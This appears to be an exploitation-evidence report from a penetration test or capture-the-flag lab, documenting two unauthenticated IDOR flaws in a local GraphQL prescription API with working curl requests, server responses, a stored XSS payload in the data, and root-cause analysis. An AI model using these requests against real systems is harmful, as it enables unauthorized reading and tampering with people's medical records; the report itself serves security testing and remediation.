# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Unauthenticated Horizontal IDOR - Read Access to All User Prescriptions

**Summary:**
- **Vulnerable location:** POST /api - GraphQL query `getPrescriptions`
- **Overview:** The GraphQL API endpoint accepts unauthenticated requests and the `getPrescriptions` query resolver accepts arbitrary `userId` parameters without any authentication or ownership validation, allowing any attacker to read prescription data for any user.
- **Impact:** Complete unauthorized access to all users' prescription data (PHI - Protected Health Information). Attacker can enumerate all users and extract all prescription details including the flag field. This represents a critical data breach affecting all user accounts.
- **Severity:** Critical

**Prerequisites:**
None - No authentication, session, or special permissions required.

**Exploitation Steps:**

1. Send an unauthenticated GraphQL query to the `/api` endpoint targeting admin user (userId: 1):
```bash
curl -X POST http://localhost:5003/api \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ getPrescriptions(userId: 1) { id prescriptionDetails flag } }"}'
```

2. The server responds with all 89 prescriptions belonging to the admin user, including prescription #43 which contains the flag field:
```json
{
  "data": {
    "getPrescriptions": [
      {"id": 1, "prescriptionDetails": "Prescription 1 for Admin", "flag": null},
      {"id": 2, "prescriptionDetails": "Prescription 2 for Admin", "flag": null},
      ...
      {"id": 43, "prescriptionDetails": "Prescription 43 for Admin", "flag": ""},
      ...
      {"id": 89, "prescriptionDetails": "Prescription 89 for Admin", "flag": null}
    ]
  }
}
```

3. Query prescriptions for any other user (e.g., userId: 2) to demonstrate horizontal privilege escalation:
```bash
curl -X POST http://localhost:5003/api \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ getPrescriptions(userId: 2) { id prescriptionDetails flag } }"}'
```

4. Server returns prescriptions for user ID 2:
```json
{
  "data": {
    "getPrescriptions": [
      {"id": 90, "prescriptionDetails": "test1", "flag": null},
      {"id": 91, "prescriptionDetails": "<img src=x onerror=alert(1)>", "flag": null}
    ]
  }
}
```

**Proof of Impact:**

- **Unauthorized Data Access:** Successfully accessed 89 prescriptions belonging to admin (userId: 1) without authentication
- **Horizontal Privilege Escalation:** Successfully accessed prescriptions belonging to regular user (userId: 2) 
- **No Authentication Required:** All requests were completely unauthenticated - no session cookie, no API key, no credentials
- **Complete Data Exposure:** All prescription details and metadata exposed, including sensitive PHI
- **Enumeration Possible:** Attacker can iterate through all userId values (1, 2, 3, ...) to extract complete database

**Technical Details:**

The vulnerability exists because:
1. The `/api` endpoint is registered without `@login_required` decorator (line 65 in `/app/app.py`)
2. The `resolve_get_prescriptions` resolver accepts user-controlled `userId` parameter (lines 44-45)
3. No authentication check exists (no `current_user.is_authenticated` validation)
4. No ownership validation exists (no check that `userId == current_user.id`)
5. The resolver directly queries database: `Prescription.query.filter_by(user_id=user_id).all()`

---

### AUTHZ-VULN-02: Unauthenticated Horizontal IDOR - Write Access to Create Prescriptions for Any User

**Summary:**
- **Vulnerable location:** POST /api - GraphQL mutation `addPrescription`
- **Overview:** The GraphQL API mutation `addPrescription` accepts arbitrary `userId` parameters without authentication or ownership validation, allowing any attacker to create prescription records under any user account.
- **Impact:** Complete unauthorized write access enabling data poisoning attacks, integrity compromise, and potential storage DoS. Attacker can inject malicious prescriptions into any user's account, including administrative accounts.
- **Severity:** Critical

**Prerequisites:**
None - No authentication, session, or special permissions required.

**Exploitation Steps:**

1. Create a malicious prescription for the admin user (userId: 1) without authentication:
```bash
curl -X POST http://localhost:5003/api \
  -H 'Content-Type: application/json' \
  -d '{"query":"mutation { addPrescription(userId: 1, prescriptionDetails: \"ATTACKER-INJECTED: Malicious prescription created without authorization\") { prescription { id userId prescriptionDetails } } }"}'
```

2. The server creates the prescription and returns confirmation:
```json
{
  "data": {
    "addPrescription": {
      "prescription": {
        "id": 92,
        "userId": 1,
        "prescriptionDetails": "ATTACKER-INJECTED: Malicious prescription created without authorization"
      }
    }
  }
}
```

3. Verify the malicious prescription was added to admin's account:
```bash
curl -X POST http://localhost:5003/api \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ getPrescriptions(userId: 1) { id userId prescriptionDetails } }"}'
```

4. Response confirms malicious prescription is now in admin's account (prescription count increased from 89 to 90):
```json
{
  "data": {
    "getPrescriptions": [
      ...
      {
        "id": 92,
        "userId": 1,
        "prescriptionDetails": "ATTACKER-INJECTED: Malicious prescription created without authorization"
      }
    ]
  }
}
```

5. Demonstrate write access to other users by creating prescription for userId: 2:
```bash
curl -X POST http://localhost:5003/api \
  -H 'Content-Type: application/json' \
  -d '{"query":"mutation { addPrescription(userId: 2, prescriptionDetails: \"ATTACKER-INJECTED: Data poisoning attack on user account\") { prescription { id userId prescriptionDetails } } }"}'
```

6. Server creates prescription for user ID 2:
```json
{
  "data": {
    "addPrescription": {
      "prescription": {
        "id": 93,
        "userId": 2,
        "prescriptionDetails": "ATTACKER-INJECTED: Data poisoning attack on user account"
      }
    }
  }
}
```

7. Verify injection into user 2's account:
```bash
curl -X POST http://localhost:5003/api \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ getPrescriptions(userId: 2) { id userId prescriptionDetails } }"}'
```

8. Response confirms malicious prescription added to user 2:
```json
{
  "data": {
    "getPrescriptions": [
      {"id": 90, "userId": 2, "prescriptionDetails": "test1"},
      {"id": 91, "userId": 2, "prescriptionDetails": "<img src=x onerror=alert(1)>"},
      {"id": 93, "userId": 2, "prescriptionDetails": "ATTACKER-INJECTED: Data poisoning attack on user account"}
    ]
  }
}
```

**Proof of Impact:**

- **Unauthorized Data Modification:** Successfully created prescription records under admin account (userId: 1) without authorization
- **Horizontal Privilege Escalation:** Successfully created prescription records under regular user account (userId: 2)
- **No Authentication Required:** All operations performed without any authentication
- **Data Integrity Compromise:** Attacker can inject arbitrary prescription content into any user's medical records
- **Data Poisoning:** Legitimate users will see attacker-injected prescriptions mixed with their real prescriptions
- **Potential Storage DoS:** Attacker could create thousands of prescriptions to fill database storage

**Technical Details:**

The vulnerability exists because:
1. The `/api` endpoint is registered without `@login_required` decorator (line 65 in `/app/app.py`)
2. The `mutate` method in `AddPrescription` class accepts user-controlled `userId` parameter (lines 54-58)
3. No authentication check exists (no `current_user.is_authenticated` validation)
4. No ownership validation exists (no check that `userId == current_user.id`)
5. The mutation directly creates database records: `Prescription(user_id=user_id, prescription_details=prescription_details)`
6. Changes are immediately committed: `db.session.add()` and `db.session.commit()`

---